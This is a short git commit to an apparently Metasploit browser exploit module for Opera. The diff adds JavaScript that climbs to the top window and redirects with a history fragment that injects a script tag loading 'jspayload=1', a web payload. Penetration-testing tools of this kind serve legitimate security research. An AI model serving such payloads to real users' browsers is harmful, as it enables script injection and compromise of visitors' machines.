make sure we're running on opera so we don't 404 on a suspicous-looking url if it isn't

git-svn-id: file:///home/svn/framework3/trunk@6963 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2009-08-18 05:10:11 +00:00
parent 4dc13a9e8c
commit e16647db74
1 changed files with 7 additions and 5 deletions

View File

@ -152,12 +152,14 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")
js = %Q^
if (window.opera) {
var wnd = window;
while (wnd.parent != wnd) {
wnd = wnd.parent;
}
url = location.href;
wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";
}
^
content = %Q^
#{html_hdr}